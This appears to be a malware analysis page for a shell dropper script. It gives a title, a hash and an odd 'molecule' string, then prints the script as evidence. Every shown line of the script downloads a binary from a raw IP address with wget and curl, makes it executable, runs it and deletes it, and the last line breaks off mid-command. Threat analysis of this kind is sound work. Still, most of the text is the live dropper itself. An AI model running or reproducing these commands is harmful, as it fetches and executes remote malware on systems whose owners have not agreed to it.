ok
Raw-IP shell dropper executes and removes payloadsRepeated raw-IP payload download chmod execution
SHA-256b0878b05bf0973a6c9ea8f8dbf996601ed8b9f26279485f967e4347102069954
MaleculeO₂(C₂Er)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/233209; curl -O http://5.182.210.174/233209; chmod 777 233209; ./233209 bc; rm -rf 233209; rm -rf 233209.1
3wget http://5.182.210.174/f649b0; curl -O http://5.182.210.174/f649b0; chmod 777 f649b0; ./f649b0 bc; rm -rf f649b0; rm -rf f649b0.1
4wget http://5.182.210.174/e442a0; curl -O http://5.182.210.174/e442a0; chmod 777 e442a0; ./e442a0 bc; rm -rf e442a0; rm -rf e442a0.1
5wget http://5.182.210.174/ba35d8; curl -O http://5.182.210.174/ba35d8; chmod 777 ba35d8; ./ba35d8 bc; rm -rf ba35d8; rm -rf ba35d8.1
6wget http://5.182.210.174/5320b4; curl -O http://5.182.210.174/5320b4; chmod 777 5320b4; ./5320b4 bc; rm -rf 5320b4; rm -rf 5320b4.1
7wget http://5.182.210.174/fc5c69; curl -O http://5.182.210.174/fc5c69; chmod 777 fc5c69; ./fc5c69 bc; rm -rf fc5c69; rm -rf fc5c69.1
8wget http://5.182.210.174/30d0d8; curl -O http://5.182.210.174/30d0d8; chmod 777 30d0d8; ./30d0d8 bc; rm -rf 30d0d8; rm -rf 30d0d8.1
9wget http://5.182.210.174/0874e7; curl -O http://5.182.210.174/0874e7; chmod 777 0874e7; ./0874e7 bc; rm -rf 0874e7; rm -rf 0874e7.1
10wget http://5.182.210.174/52b835; curl -O http://5.182.210.174/52b835; chmod 777 52b835; ./52b835 bc; rm -rf 52b835; rm -rf 52b835.1
11wget http://5.182.210.174/2b010e; curl -O http://5.182.210.174/2b010e; chmod 777 2b010e …